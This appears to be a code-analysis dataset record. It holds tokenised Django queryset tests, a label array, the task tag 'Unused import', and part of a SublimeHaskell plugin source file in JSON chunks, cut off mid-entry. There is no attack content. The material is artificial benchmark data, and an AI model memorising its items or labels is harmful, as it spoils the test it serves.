"qs_", "._", "query_", "._", "count", "\\u", "active", "\\u", "tables_", "(_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Querie", "s1", "Tests_", "(_", "Base", "Query", "set", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "tick", "ets", "\\u", "532", "4", "\\u", "670", "4_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Item_", "._", "objects_", "._", "filter_", "(_", "tags", "\\u\\u", "name_", "=_", "'", "t", "4", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Item", ":", " ", "four", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Item_", "._", "objects_", "._", "exclude_", "(_", "tags", "\\u\\u", "name_", "=_", "'", "t", "4", "'_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", "._", "distinct_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Item", ":", " ", "one", ">'_", ",_", "'<", "Item", ":", " ", "three", ">'_", ",_", "'<", "Item", ":", " ", "two", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Item_", "._", "objects_", "._", "exclude_", "(_", "tags", "\\u\\u", "name_", "=_", "'", "t", "4", "'_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", "._", "distinct_", "(_", ")_", "._", "reverse_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Item", ":", " ", "two", ">'_", ",_", "'<", "Item", ":", " ", "three", ">'_", ",_", "'<", "Item", ":", " ", "one", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Author_", "._", "objects_", "._", "exclude_", "(_", "item", "\\u\\u", "name_", "=_", "'", "one", "'_", ")_", "._", "distinct_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Author", ":", " ", "a2", ">'_", ",_", "'<", "Author", ":", " ", "a3", ">'_", ",_", "'<", "Author", ":", " ", "a4", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Exclu", "ding", " ", "acro", "ss", " ", "a", " ", "m2", "m", " ", "relation", " ", "whe", "n", " ", "there", " ", "is", " ", "more", " ", "than", " ", "one", " ", "related_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "object", " ", "associate", "d", " ", "was", " ", "problem", "atic", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Item_", "._", "objects_", "._", "exclude_", "(_", "tags", "\\u\\u", "name_", "=_", "'", "t1", "'_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Item", ":", " ", "four", ">'_", ",_", "'<", "Item", ":", " ", "three", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Item_", "._", "objects_", "._", "exclude_", "(_", "tags", "\\u\\u", "name_", "=_", "'", "t1", "'_", ")_", "._", "exclude_", "(_", "tags", "\\u\\u", "name_", "=_", "'", "t", "4", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Item", ":", " ", "three", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Exclu", "ding", " ", "from", " ", "a", " ", "relation", " ", "tha", "t", " ", "cann", "ot", " ", "be", " ", "NULL", " ", "shou", "ld", " ", "not", " ", "use", " ", "outer", " ", "joins", "._", "\\u\\u\\uNL\\u\\u\\u_", "query_", "=_", "Item_", "._", "objects_", "._", "exclude_", "(_", "creat", "or\\u\\u", "in_", "=_", "[_", "self_", "._", "a1_", ",_", "self_", "._", "a2_", "]_", ")_", "._", "query_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "query_", "._", "LO", "UT", "ER_", "not_", "in_", "[_", "x_", "[_", "2_", "]_", "for_", "x_", "in_", "query_", "._", "alias", "\\u", "map_", "._", "values_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simil", "arl", "y", ",", " ", "whe", "n", " ", "one", " ", "of", " ", "the", " ", "joins", " ", "cann", "ot", " ", "possib", "ly", ",", " ", "ever", ",", " ", "involv", "e", " ", "NULL_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "values", " ", "(", "Author", " ", "->", " ", "Extra", "Info", ",", " ", "in", " ", "the", " ", "follow", "ing", "),", " ", "it", " ", "shou", "ld", " ", "neve", "r", " ", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "promote", "d", " ", "to", " ", "a", " ", "left", " ", "outer", " ", "join", ".", " ", "So", " ", "the", " ", "follow", "ing", " ", "query", " ", "shou", "ld", " ", "only_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "involv", "e", " ", "one", " ", "\"", "left", " ", "outer", "\"", " ", "join", " ", "(", "Author", " ", "->", " ", "Item", " ", "is", " ", "0", "-", "to", "-", "many", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "qs_", "=_", "Author_", "._", "objects_", "._", "filter_", "(_", "id_", "=_", "self_", "._", "a1_", "._", "id_", ")_", "._", "filter_", "(_", "Q_", "(_", "extra", "\\u\\u", "note_", "=_", "self_", "._", "n1_", ")_", "|_", "Q_", "(_", "item", "\\u\\u", "note_", "=_", "self_", "._", "n3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "len_", "(_", "[_", "x_", "[_", "2_", "]_", "for_", "x_", "in_", "qs_", "._", "query_", "._", "alias", "\\u", "map_", "._", "values_", "(_", ")_", "if_", "x_", "[_", "2_", "]_", "==_", "query_", "._", "LO", "UT", "ER_", "and_", "qs_", "._", "query_", "._", "alias", "\\u", "refco", "unt_", "[_", "x_", "[_", "1_", "]_", "]_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "previ", "ous", " ", "change", "s", " ", "shou", "ld", "n", "'", "t", " ", "affect", " ", "null", "able", " ", "foreign", " ", "key", " ", "joins", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Tag_", "._", "objects_", "._", "filter_", "(_", "parent", "\\u\\u", "isnull_", "=_", "True_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Ta", "g", ":", " ", "t1", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Tag_", "._", "objects_", "._", "exclude_", "(_", "parent", "\\u\\u", "isnull_", "=_", "True_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Ta", "g", ":", " ", "t2", ">'_", ",_", "'<", "Ta", "g", ":", " ", "t3", ">'_", ",_", "'<", "Ta", "g", ":", " ", "t", "4", ">'_", ",_", "'<", "Ta", "g", ":", " ", "t5", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Tag_", "._", "objects_", "._", "exclude_", "(_", "Q_", "(_", "parent", "\\u\\u", "name_", "=_", "'", "t1", "'_", ")_", "|_", "Q_", "(_", "parent", "\\u\\u", "isnull_", "=_", "True_", ")_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Ta", "g", ":", " ", "t", "4", ">'_", ",_", "'<", "Ta", "g", ":", " ", "t5", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Tag_", "._", "objects_", "._", "exclude_", "(_", "Q_", "(_", "parent", "\\u\\u", "isnull_", "=_", "True_", ")_", "|_", "Q_", "(_", "parent", "\\u\\u", "name_", "=_", "'", "t1", "'_", ")_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Ta", "g", ":", " ", "t", "4", ">'_", ",_", "'<", "Ta", "g", ":", " ", "t5", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Tag_", "._", "objects_", "._", "exclude_", "(_", "Q_", "(_", "parent", "\\u\\u", "parent", "\\u\\u", "isnull_", "=_", "True_", ")_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Ta", "g", ":", " ", "t", "4", ">'_", ",_", "'<", "Ta", "g", ":", " ", "t5", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Tag_", "._", "objects_", "._", "filter_", "(_", "~_", "Q_", "(_", "parent", "\\u\\u", "parent", "\\u\\u", "isnull_", "=_", "True_", ")_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Ta", "g", ":", " ", "t", "4", ">'_", ",_", "'<", "Ta", "g", ":", " ", "t5", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Querie", "s1", "Tests_", "(_", "Base", "Query", "set", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "tick", "et", "435", "8_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "you", " ", "don", "'", "t", " ", "pass", " ", "any", " ", "fields", " ", "to", " ", "values", "()", ",", " ", "relation", " ", "fields", " ", "are", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", "ed", " ", "as", " ", "\"", "foo", "\\u", "id", "\"", " ", "keys", ",", " ", "not", " ", "\"", "foo", "\".", " ", "For", " ", "consiste", "nc", "y", ",", " ", "you", " ", "shou", "ld", " ", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "able", " ", "to", " ", "pass", " ", "\"", "foo", "\\u", "id", "\"", " ", "in", " ", "the", " ", "fields", " ", "list", " ", "and", " ", "have", " ", "it", " ", "work", ",", " ", "too", ".", " ", "We", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "actual", "ly", " ", "allow", " ", "bot", "h", " ", "\"", "foo", "\"", " ", "and", " ", "\"", "foo", "\\u", "id", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "*\\u", "id", " ", "version", " ", "is", " ", "return", "ed", " ", "by", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "'", "note", "\\u", "id", "'_", "in_", "Extra", "Info_", "._", "objects_", "._", "values_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "can", " ", "als", "o", " ", "pass", " ", "it", " ", "in", " ", "explicit", "ly", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Value", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Extra", "Info_", "._", "objects_", "._", "values_", "(_", "'", "note", "\\u", "id", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "{_", "'", "note", "\\u", "id", "'_", ":_", "1_", "}_", ",_", "{_", "'", "note", "\\u", "id", "'_", ":_", "2_", "}_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "...", "or", " ", "use", " ", "the", " ", "field", " ", "name", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Value", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Extra", "Info_", "._", "objects_", "._", "values_", "(_", "'", "note", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "{_", "'", "note", "'_", ":_", "1_", "}_", ",_", "{_", "'", "note", "'_", ":_", "2_", "}_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Querie", "s1", "Tests_", "(_", "Base", "Query", "set", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "tick", "et", "107", "42_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Querie", "s", " ", "used", " ", "in", " ", "an", " ", "\\u\\u", "in", " ", "clause", " ", "don", "'", "t", " ", "execute", " ", "sub", "queries_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sub", "q_", "=_", "Author_", "._", "objects_", "._", "filter_", "(_", "num", "\\u\\u", "lt_", "=_", "3000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qs_", "=_", "Author_", "._", "objects_", "._", "filter_", "(_", "pk", "\\u\\u", "in_", "=_", "sub", "q_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "qs_", ",_", "[_", "'<", "Author", ":", " ", "a1", ">'_", ",_", "'<", "Author", ":", " ", "a2", ">'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "subquery", " ", "result", " ", "cache", " ", "shou", "ld", " ", "not", " ", "be", " ", "populate", "d_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "sub", "q_", "._", "\\u", "result", "\\u", "cache_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sub", "q_", "=_", "Author_", "._", "objects_", "._", "filter_", "(_", "num", "\\u\\u", "lt_", "=_", "3000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qs_", "=_", "Author_", "._", "objects_", "._", "exclude_", "(_", "pk", "\\u\\u", "in_", "=_", "sub", "q_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "qs_", ",_", "[_", "'<", "Author", ":", " ", "a3", ">'_", ",_", "'<", "Author", ":", " ", "a4", ">'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "subquery", " ", "result", " ", "cache", " ", "shou", "ld", " ", "not", " ", "be", " ", "populate", "d_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "sub", "q_", "._", "\\u", "result", "\\u", "cache_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sub", "q_", "=_", "Author_", "._", "objects_", "._", "filter_", "(_", "num", "\\u\\u", "lt_", "=_", "3000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Author_", "._", "objects_", "._", "filter_", "(_", "Q_", "(_", "pk", "\\u\\u", "in_", "=_", "sub", "q_", ")_", "&_", "Q_", "(_", "name_", "=_", "'", "a1", "'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Author", ":", " ", "a1", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "subquery", " ", "result", " ", "cache", " ", "shou", "ld", " ", "not", " ", "be", " ", "populate", "d_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "sub", "q_", "._", "\\u", "result", "\\u", "cache_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Querie", "s", "4", "Tests_", "(_", "Base", "Query", "set", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "order", "\\u", "by", "\\u", "reset", "ting_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Call", "ing", " ", "order", "\\u", "by", "()", " ", "with", " ", "no", " ", "parameter", "s", " ", "remove", "s", " ", "any", " ", "exist", "ing", " ", "orderi", "ng", " ", "on", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "model", ".", " ", "Bu", "t", " ", "it", " ", "shou", "ld", " ", "still", " ", "be", " ", "possib", "le", " ", "to", " ", "add", " ", "new", " ", "orderi", "ng", " ", "after", " ", "tha", "t", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "qs_", "=_", "Author_", "._", "objects_", "._", "order", "\\u", "by_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "ORDE", "R", " ", "BY", "'_", "in_", "qs_", "._", "query_", "._", "get", "\\u", "compiler_", "(_", "qs_", "._", "db_", ")_", "._", "as", "\\u", "sql_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Null", "able", "Rel", "Order", "ing", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "join", "\\u", "alr", "ead", "y", "\\u", "in", "\\u", "query_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Order", "ing", " ", "by", " ", "model", " ", "relate", "d", " ", "to", " ", "null", "able", " ", "relation", "s", " ", "shou", "ld", " ", "not", " ", "change_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "join", " ", "type", " ", "of", " ", "alr", "ead", "y", " ", "exist", "ing", " ", "joins", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Play", "thing_", "._", "objects_", "._", "create_", "(_", "name_", "=_", "\"", "p1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "Sing", "le", "Object_", "._", "objects_", "._", "create_", "(_", "name_", "=_", "'", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "Rela", "ted", "Object_", "._", "objects_", "._", "create_", "(_", "single_", "=_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Play", "thing_", "._", "objects_", "._", "create_", "(_", "name_", "=_", "\"", "p2", "\"_", ",_", "others_", "=_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qs_", "=_", "Play", "thing_", "._", "objects_", "._", "all_", "(_", ")_", "._", "filter_", "(_", "other", "s", "\\u\\u", "isnull_", "=_", "False_", ")_", "._", "order", "\\u", "by_", "(_", "'", "pk", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "INN", "ER", "'_", "in_", "str_", "(_", "qs_", "._", "query_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qs_", "=_", "qs_", "._", "order", "\\u", "by_", "(_", "'", "other", "s", "\\u\\u", "single", "\\u\\u", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "orderi", "ng", " ", "by", " ", "other", "s", "\\u\\u", "single", "\\u\\u", "pk", " ", "will", " ", "add", " ", "one", " ", "new", " ", "join", " ", "(", "to", " ", "single", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "tha", "t", " ", "join", " ", "must", " ", "be", " ", "LEF", "T", " ", "join", ".", " ", "The", " ", "alr", "ead", "y", " ", "exist", "ing", " ", "join", " ", "to", " ", "related_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "object", "s", " ", "must", " ", "be", " ", "kep", "t", " ", "INN", "ER", ".", " ", "So", ",", " ", "we", " ", "have", " ", "bot", "h", " ", "a", " ", "INN", "ER", " ", "and", " ", "a", " ", "LEF", "T", " ", "join_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "the", " ", "query", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "LEF", "T", "'_", "in_", "str_", "(_", "qs_", "._", "query_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "INN", "ER", "'_", "in_", "str_", "(_", "qs_", "._", "query_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "qs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Play", "thing", ":", " ", "p2", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
SublimeHaskell/SublimeHaskell/hsdev.py
[ { "content": "# -*- coding: UTF-8 -*-\n\nimport os\nimport os.path\nimport sys\nimport socket\nimport sublime\nimport sublime_plugin\nimport subprocess\nimport threading\nimport json\nimport time\nimport re\nfrom functools import reduce\n\nif int(sublime.version()) < 3000:\n import symbols\n from sublime_haskell_common import *\nelse:\n import SublimeHaskell.symbols as symbols\n from SublimeHaskell.sublime_haskell_common import *\n\n\n\n# {'x': ['1','2'], 'y': None} ⇒ ['--x', '1', '--x', '2', '--y']\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# 'global-db', 'user-db' or {'package-db':path}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def concat_args(args):\n def cat(x, y):\n (px, ex) = x\n (py, ey) = y\n return (px or py, (ex if px else []) + (ey if py else []))\n return reduce(cat, args, (True, []))[1]", "metadata": "root.concat_args", "header": "['module', '___EOS___']", "index": 22 }, { "content": "def concat_opts(opts):\n def cat(x, y):\n (px, ex) = x\n (py, ey) = y\n v = (ex if px else {}).copy()\n v.update((ey if py else {}).copy())\n return (px or py, v)\n return reduce(cat, opts, (True, {}))[1]", "metadata": "root.concat_opts", "header": "['module', '___EOS___']", "index": 29 }, { "content": "def flatten_opts(opts):\n r = []\n\n def to_opt(x):\n return '--{0}'.format(x)\n\n for k, v in opts.items():\n if v is None:\n r.append(to_opt(k))\n elif type(v) is list:\n for n in v:\n r.extend([to_opt(k), str(n)])\n else:\n r.extend([to_opt(k), str(v)])\n\n return r", "metadata": "root.flatten_opts", "header": "['module', '___EOS___']", "index": 39 }, { "content": "def hsdev_enabled():\n return get_setting_async('enable_hsdev') == True", "metadata": "root.hsdev_enabled", "header": "['module', '___EOS___']", "index": 56 }, { "content": "def hsdev_enable(enable = True):\n set_setting_async('enable_hsdev', enable)", "metadata": "root.hsdev_enable", "header": "['module', '___EOS___']", "index": 59 }, { "content": "def hsdev_version():\n try:\n (exit_code, out, err) = call_and_wait(['hsdev', 'version'])\n if exit_code == 0:\n m = re.match('(?P<major>\\d+)\\.(?P<minor>\\d+)\\.(?P<revision>\\d+)\\.(?P<build>\\d+)', out)\n if m:\n major = int(m.group('major'))\n minor = int(m.group('minor'))\n revision = int(m.group('revision'))\n build = int(m.group('build'))\n return [major, minor, revision, build]\n except FileNotFoundError:\n pass\n return None", "metadata": "root.hsdev_version", "header": "['module', '___EOS___']", "index": 62 }, { "content": "def show_version(ver):\n return '.'.join(map(lambda i: str(i), ver))", "metadata": "root.show_version", "header": "['module', '___EOS___']", "index": 77 }, { "content": "def check_version(ver, minimal = [0, 0, 0, 0], maximal = None):\n if ver is None:\n return False\n if ver < minimal:\n return False\n if maximal and ver >= maximal:\n return False\n return True", "metadata": "root.check_version", "header": "['module', '___EOS___']", "index": 80 }, { "content": "def if_some(x, lst):\n return lst if x is not None else []", "metadata": "root.if_some", "header": "['module', '___EOS___']", "index": 89 }, { "content": "def cabal_path(cabal):\n if not cabal:\n return []\n return [\"--cabal\"] if cabal == 'cabal' else [\"--sandbox={0}\".format(cabal)]", "metadata": "root.cabal_path", "header": "['module', '___EOS___']", "index": 92 }, { "content": "def hsinspect(module = None, file = None, cabal = None, ghc_opts = []):\n cmd = ['hsinspect']\n on_result = lambda s: s\n if module:\n cmd.extend([module])\n on_result = parse_module\n elif file:\n cmd.extend([file])\n on_result = parse_module\n elif cabal:\n cmd.extend([cabal])\n else:\n log('hsinspect must specify module, file or cabal', log_debug)\n return None\n\n for opt in ghc_opts:\n cmd.extend(['-g', opt])\n\n r = call_and_wait_tool(cmd, 'hsinspect', lambda s: json.loads(s), file, None)\n if r:\n if 'error' in r:\n log('hsinspect returns error: {0}'.format(r['error']), log_error)\n else:\n return on_result(r)\n return None", "metadata": "root.hsinspect", "header": "['module', '___EOS___']", "index": 97 }, { "content": "def print_status(s):\n print(s['status'])", "metadata": "root.print_status", "header": "['module', '___EOS___']", "index": 123 }, { "content": "def parse_database(s):\n if not s:\n return None\n if s and 'projects' in s and 'modules' in s:\n return (s['projects'], [parse_module(m) for m in s['modules']])\n return None", "metadata": "root.parse_database", "header": "['module', '___EOS___']", "index": 126 }, { "content": "def parse_decls(s):\n if s is None:\n return None\n return [parse_module_declaration(decl) for decl in s]", "metadata": "root.parse_decls", "header": "['module', '___EOS___']", "index": 133 }, { "content": "def parse_modules_brief(s):\n if s is None:\n return None\n return [parse_module_id(m) for m in s]", "metadata": "root.parse_modules_brief", "header": "['module', 